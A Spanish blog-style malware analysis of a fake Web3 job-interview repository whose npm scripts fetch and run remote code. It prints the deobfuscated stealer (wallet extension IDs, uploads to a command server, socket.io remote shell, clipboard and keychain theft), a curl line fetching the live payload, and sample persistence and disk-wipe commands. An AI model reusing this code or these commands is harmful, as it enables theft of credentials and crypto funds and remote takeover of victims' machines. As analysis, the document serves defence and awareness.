
⚠️ La suma de todos los miedos online:
Andabas buscando laburo en la industria Web3, y terminaste perdiéndolo todo:
- Ahorros de todas las cuentas
- Cuentas de todas las redes sociales
- Acceso a plataformas de pago
- Datos personales críticos
Esta no es una historia real, pero sí una **potencialmente real**.
INTRODUCCIÓN
Cada vez que vemos alertas como "código malicioso detectado" o "malware detectado", paramos ahí, borramos el archivo y listo. No sabemos qué era, o qué pretendía hacer, pero seguramente era algo maligno. Nos vemos en la próxima.
Pero ahora, vamos a tener la certeza de qué tan maligno era.
TL;DR
Fase | Descripción | Riesgo |
---|---|---|
Contacto Inicial | Recruiter/CTO/COO te contacta ofreciendo puesto con salario llamativamente alto | 💤 Bajo |
Descripción del Trabajo | Manda descripción que parece perfecta para tu perfil | 💤 Bajo |
Entrevista Rápida | Charla breve, confirma que sos "ideal" para el puesto | 👀 Medio |
Prueba Técnica | Te pide que clones su repositorio para hacer modificaciones como test técnico | 🔴 Alto |
Ejecución | Su código aparentemente inofensivo es un pasaje directo a la ruina | 💀 CRÍTICO |
Este análisis te va a mostrar:
- Qué hace exactamente el malware
- Cómo identificar estas amenazas
- Cómo defenderte efectivamente
📑 ÍNDICE
- 🔍 ANTECEDENTES
- 🎯 RESUMEN DE LA AMENAZA
- 🔍 CONTEXTO Y DESCUBRIMIENTO
- 🕷️ EL REPOSITORIO MALICIOSO
- 🔬 ANÁLISIS COMPLETO DEL MALWARE
- 🎭 PERFILADO DE VÍCTIMAS
- 🌐 INFRAESTRUCTURA DEL ATACANTE
- 🛡️ DETECCIÓN Y CONTRAMEDIDAS
- ⚡ RECOMENDACIONES URGENTES
- 📝 CONCLUSIONES
🔍 ANTECEDENTES
💭 "Así como vos te la pasás 24 horas al día pensando en cómo mejorar, progresar y hacer el bien, hay otros que se la pasan 24 horas al día pensando en cómo hacer el mal."
La evolución del cibercrimen
Después de casi una década trabajando en la industria blockchain, observé una infinidad de estafas, engaños e intentos de ingeniería social. Lo preocupante es que últimamente se han perfeccionado exponencialmente:
- Antes: Estafas aburridas, toscas y fácilmente detectables
- Ahora: Ataques de ingeniería social, específicamente dirigidos a personas/sistemas vulnerables con ayuda de poderosas herramientas de IA
- Vector principal: Ofertas de trabajo tentadoras, aunque a veces exageradas, listas para capturar usuarios desprevenidos.
El caso de estudio
La semana pasada, me contactó un supuesto founder & CEO con un perfil aparentemente legítimo:
- ✅ 500+ conexiones en LinkedIn
- ✅ Recomendaciones de otros usuarios
- ✅ Contactos en común verificables, algunos conocidos IRL
- ✅ había laburado en algunas instituciones/universidades prestigiosas, pero como sabemos, en LinkedIn uno puede poner que fue presidente de la Tierra y nadie va a decir lo contrario.
Aunque también tenía algunas banderas rojas:
- ❌ Pocas interacciones con otros usuarios, y muy dudosas
- ❌ Ninguna participación en eventos, ni publicaciones
- ❌ No fue posible verificar su existencia real por otros medios
Aún así, me tomé la tarea de destripar completamente su estrategia para determinar el alcance real de la amenaza.
Disección del modus operandi
Lo que encontré fue una verdadera ingeniería del mal:
🚨 La supuesta oferta de trabajo era un mecanismo perverso y sofisticado de control sistémico
No se trataba solo de robar billeteras cripto y credenciales. Eso era solo el punto de entrada. Las cosas se iban a poner exponencialmente peor.
🎯 RESUMEN DE LA AMENAZA
Información Básica
Atributo | Detalle |
---|---|
Vector Original | Ofertas de trabajo falsas en LinkedIn (ellos te contactan primero) |
Objetivos | 22+ billeteras cripto + credenciales de navegador + control remoto total |
Sistemas Afectados | Windows, macOS, Linux |
Severidad | |
Servidor C&C | 144.172.105.189 (múltiples puertos) |
Capacidades Principales
Capacidad | Descripción | Impacto |
---|---|---|
Robo Masivo de Billeteras | 22+ extensiones de navegador como objetivo | 💀 Crítico |
Extracción de Credenciales | Contraseñas guardadas en navegadores | 🔴 Alto |
Control Remoto Completo | RAT vía Socket.IO | 💀 Crítico |
Persistencia | Descarga e instalación de payload adicional | 🔴 Alto |
Monitoreo de Portapapeles | Captura direcciones de billeteras en tiempo real | 🔴 Alto |
Evasión | Múltiples técnicas anti-análisis/ofuscación | 🔶 Medio |
Perfilado Integral | Virtualización, horarios, geolocalización, patrones | 🔶 Medio |
Distribución del Impacto
- Pérdidas Financieras: 40%
- Control de Sistema: 30%
- Robo de Credenciales: 20%
- Persistencia: 10%
Billeteras y Plataformas Objetivo
Tipo | Ejemplos | Riesgo |
---|---|---|
Billeteras Calientes | MetaMask, Phantom, Trust Wallet | 💀 Crítico |
Billeteras Exchange | Extensiones Coinbase, Binance | 💀 Crítico |
Billeteras Desktop | Exodus, Solana CLI | 🔴 Alto |
Navegadores | Credenciales Chrome, Brave, Opera | 🔴 Alto |
🔍 CONTEXTO Y DESCUBRIMIENTO
El Modus Operandi
El supuesto recruiter (a veces autodesignado tech lead o C-level) inicia contacto siguiendo este patrón:
- Contacto por LinkedIn
- Oferta de trabajo atractiva
- Descripción de trabajo personalizada
- Llamada corta sin cámara
- Desafío técnico
- Clonado/descarga de repositorio
- Ejecución de malware
Todo empieza con algo así:

Preparación para el Análisis
⚠️ DISCLAIMER: Este procedimiento debe realizarse con extrema precaución en un entorno completamente aislado.
Requisitos de Seguridad
Componente | Requisito | |
---|---|---|
Hardware | Equipo dedicado/aislado | Sin datos personales, valiosos o sensibles |
Virtualización | ⚠️ Puede ser contraproducente | Spoiler: Te van a perfilar |
Conexión | Múltiples capas VPN + Firewall | Máximo anonimato y protección |
OS | Linux/BSD exótico | ⚠️ NUNCA Windows o MacOS |
🎯 Mientras más exótico el sistema operativo, menor el riesgo. ¿Podría esto potencialmente aumentar tu puntuación en el perfilado? Puede ser, pero igual podemos modificar el "user agent" para evitar sospechas.
Ejemplos de distribuciones recomendadas para el estudio:
- Qubes OS (máximo aislamiento)
- Tails (máximo anonimato)
- OpenBSD (máxima seguridad)
- Alpine Linux (mínima superficie de ataque)
Recordatorio Crítico
⚠️ Estamos enfrentando una amenaza desconocida ❓ No conocemos sus métodos completos ❓ No conocemos sus capacidades reales ❓ No entendemos su fuerza total
Mantenerse alerta y no subestimar el riesgo es CRÍTICO
🕷️ EL REPOSITORIO MALICIOSO
🚨 DISCLAIMER: No clonen ni descarguen, publicado solo con fines ilustrativos 🚨
🕷️ https://gitlab.com/technical-assessment4/Rental-Platform 🕷️
- Para cuando leas esto, puede que ya lo hayan borrado, pero hay cientos de forks y clones circulando
- Generalmente es privado, por lo que te piden tu usuario de Github/Gitlab/Bitbucket para mandarte la invitación. De paso, van a conocer tu actividad de GitHub y refinar tu perfilado (🚩)
- Es bastante extenso, con muchos archivos, dependencias, scripts, e incluso archivos
.env
ya populados (después profundizo en esto). Suele contener estructuras complejas de frontend, backend, contratos, etc. La idea es dar apariencia de un desarrollo importante y "marearte" en la arquitectura compleja y una miríada de carpetas.

Y este es el sujeto en cuestión 👇

- Un vistazo rápido al
package.json
no revela nada sospechoso, excepto por esto:
"scripts": {
"predeploy": "concurrently \"node server/server.js\" \"npm run build\"",
"deploy": "concurrently \"node server/server.js\" \"gh-pages -d build\"",
"start": "concurrently \"node server/server.js\" \"react-scripts start\"",
"build": "concurrently \"node server/server.js\" \"react-scripts build\"",
"test": "concurrently \"node server/server.js\" \"react-scripts test\"",
"eject": "concurrently \"node server/server.js\" \"react-scripts eject\""
},
Lo que indica que server/server.js
se ejecuta sin importar el comando usado. Ya vamos a ver por qué (🚩).
Todos los scripts en package.json usan concurrently
que llama a node server/server.js
, y que a su vez importa app.js
:
"start": "concurrently \"node server/server.js\" \"react-scripts start\""
Entonces si se usa npm start
o npm run start
, ejecuta:
node server/server.js
>react-scripts start
>app.js
>initAppBootstrap(); // 🏴☠️ 🚩 Se ejecuta sin condiciones
🚨 Esta función aparentemente inocente es el punto de entrada a un sofisticado sistema de control remoto. Desde acá, empezamos el análisis detallado de lo que hace realmente el malware.
🔬 ANÁLISIS COMPLETO DEL MALWARE
En esta sección, vamos a analizar paso a paso cómo funciona este stealer sofisticado, desde su punto de entrada hasta sus capacidades más avanzadas.
Punto de Entrada Malicioso
Una vez que se ejecuta cualquier script npm
, initAppBootstrap()
se lanza automáticamente. Veamos qué hace:
const initAppBootstrap = async () => {
try {
const src = atob(process.env.DEV_API_KEY);
const k = atob(process.env.DEV_SECRET_KEY);
const v = atob(process.env.DEV_SECRET_VALUE);
const s = (await axios.get(src, { headers: { [k]: v } })).data;
const handler = new Function.constructor("require", s);
handler(require);
} catch (error) {
console.log(error);
}
};
A primera vista, no parece muy malicioso, solo son variables de entorno que contienen las API keys para usar después, pero si miramos el archivo .env
, vamos a ver que está extrañamente completo:
DEV_APP_URL = "http://localhost:4000"
SPARKPOST_API_KEY = "ca184ac5f2e659ee65272911f6b0795586e15b20"
DEV_SERVER_PORT = 4000
DEV_DB_HOST = "localhost"
DEV_DB_USER = "root"
DEV_API_KEY="aHR0cHM6Ly9icy1wcm9kdWN0aW9uLnVwLnJhaWx3YXkuYXBwL29u"
DEV_SECRET_KEY="eC1zZWNyZXQta2V5"
DEV_SECRET_VALUE="Xw=="
Nada raro, no?
Por qué alguien sería tan amable de darte las API keys ya cargadas?
Bueno, si usamos la magia del decoding base64
, vamos a ver cómo se revela el crimen:
DEV_API_KEY="aHR0cHM6Ly9icy1wcm9kdWN0aW9uLnVwLnJhaWx3YXkuYXBwL29u"
# Decodifica a: https://bs-production.up.railway.app/on 🚩🚩🚩
DEV_SECRET_KEY="eC1zZWNyZXQta2V5"
# Decodifica a: x-secret-key
DEV_SECRET_VALUE="Xw=="
# Decodifica a: _
Ahí está 🚩🚩🚩:
https://bs-production.up.railway.app/on
¿Por qué cuernos está codificada esta URL en una variable de entorno?
- Esta es la URL del servidor Command and Control. Para hackearte.
Limpio, el código se ve más o menos así:
const initAppBootstrap = async () => {
try {
// 🚩 PASO 1: Decodificar variables de entorno desde base64
const src = atob(process.env.DEV_API_KEY); // URL del servidor C&C
const k = atob(process.env.DEV_SECRET_KEY); // Nombre del header de autenticación
const v = atob(process.env.DEV_SECRET_VALUE); // Valor del header de autenticación
// 🚩🚩 PASO 2: Descargar payload desde servidor remoto
const s = (await axios.get(src, { headers: { [k]: v } })).data;
// 🚩🚩🚩 PASO 3: Ejecutar el código descargado con acceso completo al sistema
const handler = new Function.constructor("require", s);
handler(require);
} catch (error) {
console.log(error); // Silenciar errores para no alertar a la víctima
}
};
Y ahí están, las variables de entorno decodificadas. El bastardo guardó la URL y las claves de autenticación en variables de entorno.
Mientras tanto, notamos que:
- Usando
atob
decodificamos la variable de entornoDEV_API_KEY
a una URL oculta Function.constructor
es equivalente aeval()
pero menos notorio para el ojo inexperto- Usa headers HTTP personalizados para autenticación
- Permite al atacante cambiar el payload sin modificar el código local
- El código descargado tiene acceso completo al objeto
require
de Node.js. Permite ejecución arbitraria de JS desde un servidor remoto
Ya vamos a ver por qué (🚩).
Otros archivos potencialmente sospechosos aka ofuscación extrema
Después de verificar todos los archivos (!), noté otro patrón interesante en imageCompressor.js
: código minificado sospechoso
// La versión deofuscada sería:
const Jimp = require("jimp");
const path = require("path");
module.exports = async (filename, width, inputPath, outputDir, subfolder) => {
try {
const image = await Jimp.read(inputPath);
await image
.resize(width, Jimp.AUTO)
.write(path.resolve(outputDir, subfolder, filename));
return `${subfolder}/${filename}`;
} catch (error) {
console.log("Error reducing size / converting image: ", error);
}
};
Aunque este archivo parece legítimo, la ofuscación extrema es red flag. A qué deberíamos prestar atención en este sentido?
- Archivos innecesariamente minificados/ofuscados (ya que no pasarían un linting)
- Archivos con una estructura de código muy diferente a otros
- Múltiples niveles de carpetas, innecesarios, pero escondiendo el código malicioso en alguna rama
- Archivos con cientos de espacios en blanco (visibles luego de scroll horizontal), terminando con un
require()
malicioso
Además, este malware usó estrategias de evasión:
- Nombres legítimos:
bootstrap.js
parece un archivo normal - Try-catch silencioso: Los errores no se muestran a la víctima
- Ejecución condicional: Solo se ejecuta si las variables están definidas
- Mezclado con código real: El proyecto tiene funcionalidad real para parecer legítimo
Evaluando a la víctima
A esta altura, la URL del criminal ya fue reportada apropiadamente.
Hasta este punto, hemos visto que el malware es sofisticado y capaz de pasar desapercibido. Pero solo vimos la mitad, la parte verdaderamente maliciosa es la que se descarga y ejecuta.
🚩🚩🚩 Niños, no hagan esto en casa. No lo hagan!
Solo con fines educativos, voy a mostrar exactamente qué haría una vez descargado, va a haber variaciones en el modus operandi y código. Si uno quisiera diseccionarlo de nuevo, recomiendo hacerlo en un entorno aislado, algunas alternativas rápidas son:
- CodeSandbox URL: https://codesandbox.io/ Crea un sandbox de "Node.js" Terminal integrado disponible
- Glitch URL: https://glitch.com/ Terminal en el navegador Servidores en la nube
- GitHub Codespaces URL: https://github.com/codespaces Terminal completo en el navegador IP de GitHub, no la tuya
- Google Colab (con comandos shell) URL: https://colab.research.google.com/ Usa !curl en las celdas IP de Google Cloud
Pasos para CodeSandbox (opción más rápida)
- Crear una cuenta de mail temporal (ej., 10minutemail.com)
- Cuando aparezca el Editor, abrir su terminal y ejecutar:
# Ejecutar análisis
curl -s -v -H "x-secret-key: _" "https://bs-production.up.railway.app/on" 2>&1 | tee malware_analysis.txt
# Ver contenido
cat malware_analysis.txt
Alternativa con máximo anonimato: proxy chains
curl -s --proxy $(curl -s "https://api.proxyscrape.com/v2/?request=get&protocol=http&timeout=10000&country=all&ssl=all&anonymity=all" | head -1) -H "x-secret-key: _" "https://bs-production.up.railway.app/on"
Produce una salida ilegible:
De esta manera, habrás descargado el malware y entonces, comenzaremos con la disección.
Algunas técnicas empleadas:
Es un archivo JS de casi 2kb, altamente ofuscado, inicialmente usé deobfuscate.io
pero sorpresivamente recibí un mensaje como este:
Notificación
Tu código parece que ha sido ofuscado usando Obfuscator.io, ¿te gustaría ir al deofuscador específico para eso?
Así que la herramienta me redirigió a https://obf-io.deobfuscate.io/
que funcionó y devolvió un código más legible.
¿Qué encontré?
const homeDir = os.homedir();
const tmpDir = os.tmpdir();
const fs_promises = require("fs/promises");
const getAbsolutePath = (_0x416b16) =>
_0x416b16.replace(/^~([a-z]+|\/)/, (_0x227b5c, _0x47f187) =>
"/" === _0x47f187 ? homeDir : path.dirname(homeDir) + "/" + _0x47f187
);
function testPath(_0x3e6c41) {
try {
fs.accessSync(_0x3e6c41);
return true;
} catch (_0x1caf4f) {
return false;
}
}
const R = [
"Local/BraveSoftware/Brave-Browser",
"BraveSoftware/Brave-Browser",
"BraveSoftware/Brave-Browser",
];
const Q = ["Local/Google/Chrome", "Google/Chrome", "google-chrome"];
const X = [
"Roaming/Opera Software/Opera Stable",
"com.operasoftware.Opera",
"opera",
];
const Bt = [
"nkbihfbeogaeaoehlefnkodbefgpgknn",
"ejbalbakoplchlghecdalmeeeajnimhm",
"fhbohimaelbohpjbbldcngcnapndodjp",
"ibnejdfjmmkpcnlpebklmnkoeoihofec",
"bfnaelmomeimhlpmgjnjophhpkkoljpa",
"aeachknmefphepccionboohckonoeemg",
"hifafgmccdpekplomjjkcfgodnhcellj", ...
- Nombres de variables hexadecimales (
_0x8d2ecb
,_0x1d2535
) - Funciones auto-ejecutables anidadas
- Strings fragmentados
- Anti-debugging integrado
Arquitectura del Malware
Tiene una arquitectura modular sofisticada con tres componentes principales que trabajan juntos.
🔧 Módulo Principal (Líneas 1-600)
Ya con ver que usa child_process
nos da la certeza de que algo realmente malo va a pasar.
const fs = require("fs");
const os = require("os");
const path = require("path");
const request = require("request");
const ex = require("child_process").exec;
const hostname = os.hostname();
const platform = os.platform();
const homeDir = os.homedir();
🎮 Módulo de Control Remoto (Líneas 1000-1171)
La suma de todos los miedos: El código de control remoto es realmente malicioso, y eso es exactamente lo que nos va a pasar.
makeLog("Installing socket.io-client");
execSync(
"npm install socket.io-client --save --no-warnings --no-save --no-progress --loglevel silent",
{ windowsHide: true }
);
let io = require("socket.io-client");
Acá, se instala socket.io-client
, que es un paquete de Node.js que permite comunicación entre nodos, y que se usa para la comunicación entre el malware y el servidor remoto.
🦊 Módulo de Búsqueda de Wallets (Líneas 95-400)
La constante Bt
es reveladora:
const Bt = [
"nkbihfbeogaeaoehlefnkodbefgpgknn", // MetaMask
"ejbalbakoplchlghecdalmeeeajnimhm", // MetaMask Legacy
"fhbohimaelbohpjbbldcngcnapndodjp", // Trust Wallet
// ... y 19 wallets más!!
];
Contiene una lista de IDs de extensiones de navegador de las wallets más populares. Cada vez que instalás una o cuando la abrís en pantalla completa, vas a notar que la URL dice algo como chrome-extension://nkbihfbeogaeaoehlefnkodbefgpgknn/home.html
(para el caso de MetaMask).
Ese nkbihfbeogaeaoehlefnkodbefgpgknn
es precisamente el ID de MetaMask, que está hardcodeado, junto con muchas wallets más.
Lista Completa de Wallets Objetivo
ID de Extensión | Billetera | Plataforma | Riesgo |
---|---|---|---|
nkbihfbeogaeaoehlefnkodbefgpgknn |
MetaMask | Chrome/Brave/Edge | CRÍTICO |
ejbalbakoplchlghecdalmeeeajnimhm |
MetaMask Legacy | Chrome/Brave | CRÍTICO |
fhbohimaelbohpjbbldcngcnapndodjp |
Trust Wallet | Chrome/Brave | CRÍTICO |
ibnejdfjmmkpcnlpebklmnkoeoihofec |
TronLink | Chrome/Brave | CRÍTICO |
bfnaelmomeimhlpmgjnjophhpkkoljpa |
Phantom | Chrome/Brave | CRÍTICO |
aeachknmefphepccionboohckonoeemg |
Coin98 Wallet | Chrome/Brave | ALTO |
hifafgmccdpekplomjjkcfgodnhcellj |
Crypto com | Chrome/Brave | ALTO |
jblndlipeogpafnldhgmapagcccfchpi |
Keplr | Chrome/Brave | ALTO |
acmacodkjbdgmoleebolmdjonilkdbch |
Guarda | Chrome/Brave | ALTO |
dlcobpjiigpikoobohmabehhmhfoodbb |
Argent X | Chrome/Brave | ALTO |
mcohilncbfahbmgdjkbpemcciiolgcge |
OKX Wallet | Chrome/Brave | CRÍTICO |
agoakfejjabomempkjlepdflaleeobhb |
Sui Wallet | Chrome/Brave | ALTO |
omaabbefbmiijedngplfjmnooppbclkk |
CloverWallet | Chrome/Brave | MEDIO |
aholpfdialjgjfhomihkjbmgjidlcdno |
Wombat | Chrome/Brave | MEDIO |
nphplpgoakhhjchkkhmiggakijnkhfnd |
Ton Wallet | Chrome/Brave | ALTO |
penjlddjkjgpnkllboccdgccekpkcbin |
Nami | Chrome/Brave | ALTO |
lgmpcpglpngdoalbgeoldeajfclnhafa |
Eternl | Chrome/Brave | ALTO |
fldfpgipfncgndfolcbkdeeknbbbnhcc |
XDEFI Wallet | Chrome/Brave | ALTO |
bhhhlbepdkbapadjdnnojkbgioiodbic |
Solflare | Chrome/Brave | ALTO |
gjnckgkfmgmibbkoficdidcljeaaaheg |
Slope Wallet | Chrome/Brave | ALTO |
afbcbjpbpfadlkmhmclhkeeodmamcflc |
Math Wallet | Chrome/Brave | MEDIO |
💡 Total: 20+ wallets identificadas como objetivos principales
Sistema de Control Remoto vía Socket.io
Instalación automática:
makeLog("Installing socket.io-client");
execSync(
"npm install socket.io-client --save --no-warnings --no-save --no-progress --loglevel silent",
{ windowsHide: true }
);
let io = require("socket.io-client");
Conexión:
const socket = io("http://144.172.105.189:4661", {
reconnectionAttempts: 15,
reconnectionDelay: 2000,
timeout: 2000,
});
Ejecución de comandos remotos:
socket.on("command", (msg) => {
exec(
msg.message,
{ windowsHide: true, maxBuffer: 1024 * 1024 * 300 },
(error, stdout, stderr) => {
if (error) {
socket.emit("message", {
result: error.message,
...msg,
uid: uid,
type: "error",
});
return;
}
socket.emit("message", {
...msg,
result: stdout,
uid: uid,
});
}
);
});
Esto va a resultar en que el atacante remoto pueda ejecutar cualquier comando que quiera, como si estuvieran sentados frente a tu computadora, sin abrir una ventana (gracias a windowHide:true
) y van a poder obtener el resultado en su máquina.
Robo de Datos de Wallets
Extracción:
const uploadFiles = async (_0x87ab6a, _0x53011f, _0x3a0da2, _0x4b5d3b) => {
for (let _0x391096 = 0; _0x391096 < 200; _0x391096++) {
const _0x248003 =
_0x87ab6a +
"/" +
(0 === _0x391096 ? "Default" : "Profile " + _0x391096) +
"/Local Extension Settings";
for (let _0x59bf21 = 0; _0x59bf21 < Bt.length; _0x59bf21++) {
let _0x2d650a = _0x248003 + "/" + Bt[_0x59bf21];
if (testPath(_0x2d650a)) {
// Extracción de archivos .log y .ldb
if (_0x1011c7.includes(".log") || _0x1011c7.includes(".ldb")) {
_0x21aea7.push({
value: fs.createReadStream(_0x1011c7),
options: _0x141f82,
});
}
}
}
}
};
Esta función va a buscar todos los archivos .log
y .ldb
, y subirlos al servidor remoto.
Robo de Exodus:
const uploadEs = (_0x5d45cf) => {
let _0x1fabf7 = "";
if ("w" == platform[0]) {
_0x1fabf7 = getAbsolutePath("~/") + "/AppData/Roaming/Exodus/exodus.wallet";
} else if ("d" == platform[0]) {
_0x1fabf7 =
getAbsolutePath("~/") + "/Library/Application Support/exodus.wallet";
} else {
_0x1fabf7 = getAbsolutePath("~/") + "/.config/Exodus/exodus.wallet";
}
};
Robo de archivos de Solana:
if (
_0x3a0da2 &&
((_0x23268a = homeDir + "/.config/solana/id.json"), fs.existsSync(_0x23268a))
) {
try {
const _0x26a148 = {
filename: "solana_id.txt",
};
_0x21aea7.push({
value: fs.createReadStream(_0x23268a),
options: _0x26a148,
});
} catch (_0x24237b) {}
}
Servidor de Subida de Archivos
const Upload = (_0x5f0e9c, _0x769ab6) => {
const _0x2303f0 = {
type: "106",
hid: "212_" + hostname,
uts: _0x769ab6,
multi_file: _0x5f0e9c,
};
try {
if (_0x5f0e9c.length > 0) {
const _0x2d5a53 = {
url: "http://144.172.105.189:1224/uploads",
formData: _0x2303f0,
};
request.post(_0x2d5a53, (_0x414814, _0x46a43c, _0x54fe86) => {});
}
}
}
Monitoreo del Portapapeles
Captura de contenido del portapapeles:
- macOS: Usa el comando
pbpaste
- Windows: Usa el comando del powershell
Get-Clipboard
- Monitoreado cada 500ms
- Automaticamente envia todos los contenidos copiados al servidor
- Detección de copiado de criptodirecciones
Captura en MacOS
if (os.platform() == "darwin") {
exec(
"pbpaste",
{ windowsHide: true, stdio: "ignore" },
(error, stdout, stderr) => {
currentClipboardContent = stdout.trim();
if (currentClipboardContent !== lastClipboardContent) {
handleClipboardChange(currentClipboardContent);
lastClipboardContent = currentClipboardContent;
}
}
);
}
Captura en Windows
else if(os.platform() == "win32"){
exec("powershell Get-Clipboard", {windowsHide: true, stdio: "ignore"},
(error, stdout, stderr) => {
currentClipboardContent = stdout.trim();
if (currentClipboardContent !== lastClipboardContent) {
handleClipboardChange(currentClipboardContent);
}
})
}
Robo de Keychain (MacOS)
No satisfecho con todo lo anterior, algo realmente crítico es el robo de la Keychain de MacOS:
const UpKeychain = async (_0x332023) => {
let _0xcd51e3 = [];
let _0x50fa57 = homeDir + "/Library/Keychains/login.keychain";
if (fs.existsSync(_0x50fa57)) {
try {
const _0x459b00 = {
filename: "logkc-db",
};
_0xcd51e3.push({
value: fs.createReadStream(_0x50fa57),
options: _0x459b00,
});
} catch (_0xf6507f) {}
}
Una vez establecida la conexión con el servidor C&C, el malware comienza una recopilación exhaustiva de información sobre la víctima para maximizar el valor del ataque.
🎭 PERFILADO DE VÍCTIMAS
El malware realiza un análisis exhaustivo de cada víctima para determinar su valor como objetivo y personalizar el ataque de forma asincrónica. No descarto que esta información se guarde en alguna base de datos del atacante, lo que allana el camino para el perfeccionamiento de sus herramientas. El malware puede permanecer inactivo, sin actividad, por tiempo indefinido, a la espera de la orden de activación remota.
El atacante puede extrer esta información de la víctima:
- Info completa del sistema operativo
- Platforma (Windows/Mac/Linux)
- Version
- Hostname
- Nombre de usuario, uid, gid, shell, homedir, etc.
- UID único para identificar la víctima
socket.on("whour", (msg) => {
socket.emit("whoIm", {
OS: os.type(),
platform: os.platform(),
release: os.release(),
host: os.hostname(),
userInfo: os.userInfo(),
uid: uid,
t: "6",
});
});
También verifica si está ejecutándose en una VM:
else if (os.platform() == "linux") {
let output = fs.readFileSync("/proc/cpuinfo", "utf8").toLowerCase();
if (/hypervisor|vmware|virtualbox|qemu|kvm|xen|parallels|bochs/.test(output)) {
isVM = true;
}
}
¿Por qué esto es importante?
Estar en una VM puede indicarle al atacante que sos un objetivo de alto valor, o un especialista en opSec... u otro hacker 😅
A TENER EN CUENTA:
Esta es una lista no exhaustiva de cosas que podrían ser detectadas:
- Perfil del sistema
uid: "5d41402abc4b2a76b9719d911017c592"; // ID único del malware, el atacante sabe qué instancia
hostname: os.hostname(); // Nombre de la máquina
- Características de Hardware/Software:
OS: os.type(); // Windows/Linux/Darwin (mac) platform: os.platform(); // win32/linux/darwin release: os.release(); // Versión del OS userInfo: os.userInfo(); // Nombre de usuario, uid, gid, shell, homedir
- Detección de entorno:
- Físico vs Virtual: " (VM)" vs "(Local)"
- Tipo de virtualización: VMware, VirtualBox, QEMU, KVM, Xen, Parallels, Bochs
- Perfil de usuario/comportamiento
- Navegadores instalados y usados:
- Chrome (perfiles 0-199)
- Brave Browser
- Opera
- Firefox
- Microsoft Edge
- Actividad financiera/cripto:
- 22 wallets diferentes detectadas por extensiones
- Wallets de escritorio: Exodus, Solana
- Historial de transacciones en wallets
- Perfil financiero, indicadores de "riqueza" cripto:
- Cantidad de wallets instaladas
- Tipos de wallets (DeFi, NFT, exchanges)
- Archivos de backup/recuperación
- Documentos financieros:
searchKey = [
"*credential*",
"*account*",
"*profile*",
"*.pdf",
"*.doc",
"*.docx", // Pueden contener info bancaria
];
- Perfil de seguridad, medidas de seguridad implementadas
- Uso de VM (indica usuario técnico/precavido)
- Tipos de wallets (hardware vs software)
- Archivos de backup organizados
- Patrones de trabajo:
- Monitoreo de portapapeles cada 500ms
- Detecta si copia direcciones, seeds, passwords
- Perfil geográfico/temporal
- Zona horaria y actividad
- Timestamp de infección
- Patrones de uso del portapapeles
- Horarios de actividad
- Perfil de valor como víctima
- Clasificación automática:
- Alto valor: Hardware físico + múltiples wallets + documentos financieros
- Valor medio: VM con algunas wallets
- Bajo valor: VM sin wallets detectadas
- Targeting específico, el servidor puede decidir qué payloads enviar basado en:
- Tipo de entorno (VM vs físico)
- Wallets detectadas
- Nivel técnico aparente
- Inteligencia operacional, para el atacante, este perfilado permite:
- Priorizar víctimas (físico > VM)
- Personalizar ataques (developer vs usuario casual)
- Evaluar riesgo (entorno técnico vs doméstico)
- Optimizar payloads (qué robar primero)
- Evitar detección (comportarse diferente en VMs)
- Perfil de red/infraestructura
- Información de conectividad
- Capacidad de recibir comandos remotos
- Estabilidad de conexión (15 reintentos, delay de 2seg)
🌐 INFRAESTRUCTURA DEL ATACANTE
Con toda la información recolectada de la víctima, el malware se comunica constantemente con una infraestructura criminal bien organizada. Analicemos esta red en detalle.
Sistema de Comando y Control
El atacante tiene comunicación bidireccional completa vía socket.io:
// EL ATACANTE PUEDE ENVIAR:
socket.on("command", ...) // Comandos de sistema
socket.on("whour", ...) // Solicitud de información
// LA VÍCTIMA ENVÍA AUTOMÁTICAMENTE:
socket.emit("message", ...) // Resultados de comandos
socket.emit("whoIm", ...) // Información del sistema
makeLog(content) // Contenido del portapapeles
¿Qué podría hacer el atacante?
# Listar procesos
tasklist # Windows
ps aux # Linux/Mac
# Ver archivos
dir C:\Users\%USERNAME% # Windows
ls -la ~/ # Linux/Mac
# Información de red
ipconfig /all # Windows
ifconfig # Linux/Mac
¿Algunos ejemplos?
Comandos de robo:
# Copiar wallets
copy "C:\Users\%USERNAME%\AppData\Roaming\Exodus\*" D:\temp\
cp -r ~/.config/Exodus/ /tmp/
# Comprimir datos
tar -czf stolen.tar.gz ~/.config/
Comandos de persistencia:
# Crear tareas programadas
schtasks /create /tn "Update" /tr "node malware.js" /sc minute
crontab -e # Agregar cron job
# Modificar registro (Windows)
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run"
Comandos de destrucción masiva:
# Borrar evidencia
del /f /s /q C:\temp\stolen\*
rm -rf /tmp/stolen/
# Formatear discos (extremo) 🥴
format C: /q
Datos Recolectados y Exfiltrados
Inventario completo de toda la información que el malware puede robar de la víctima.
🌐 Credenciales de Navegador:
Login Data
(contraseñas guardadas)Local State
(configuraciones y tokens)- Perfiles de usuario de Chrome, Brave, Opera, Firefox, Edge
🦊 Datos de Wallets:
- Archivos
.log
y.ldb
de extensiones - Seeds y frases de recuperación
- Configuraciones de wallet Exodus
- MacOS Keychain (
login.keychain
) - Archivos de Solana (
~/.config/solana/id.json
)
🔍 Archivos Específicos Buscados:
const searchKey = [
"*.env*",
"*metamask*",
"*phantom*",
"*bitcoin*",
"*phrase*",
"*secret*",
"*mnemonic*",
"*seed*",
"*recovery*",
"*backup*",
"*wallet*",
"*.json",
"*.txt",
"*.pdf",
"*.doc",
"*.csv",
];
🎯 Perfilado multidimensional:
El malware crea un perfil multidimensional que incluye:
- Valor financiero (wallets, documentos)
- Nivel técnico (developer vs usuario casual)
- Perfil de seguridad (uso de VM, medidas preventivas)
- Potencial de monetización (activos cripto, documentos)
- Patrones de comportamiento (actividad, horarios)
Esta información es de valor extremadamente alto porque el atacante puede priorizar y personalizar ataques en aquellos candidatos que representen una buena combinación de estos aspectos.
Lo que el atacante puede hacer:
- 👊 Ejecutar cualquier comando como si estuvieran sentados frente a tu PC
- 👊 Ver todo lo que copiás (direcciones cripto, passwords, etc.)
- 👊 Descargar archivos de tu sistema
- 👊 Instalar más malware
- 👊 Usar tu PC como proxy/botnet
- 👊 Espiar tu actividad en tiempo real
- 👊 Formatear tu disco duro si se les ocurre
- 👊 Robar credenciales de cualquier aplicación
- 👊 Acceder a cámaras/micrófonos con comandos
Pero, quién es este bastardo?
🌐 Servidores Identificados:
- C&C Principal:
144.172.105.189:4661
- Servidor de Upload:
144.172.105.189:4666
- Servidor de Archivos:
144.172.105.189:1224
- URL Ofuscada:
https://bs-production.up.railway.app/on
🔗 Endpoints Maliciosos:
POST http://144.172.105.189:1224/uploads
POST http://144.172.105.189/api/service/makelog
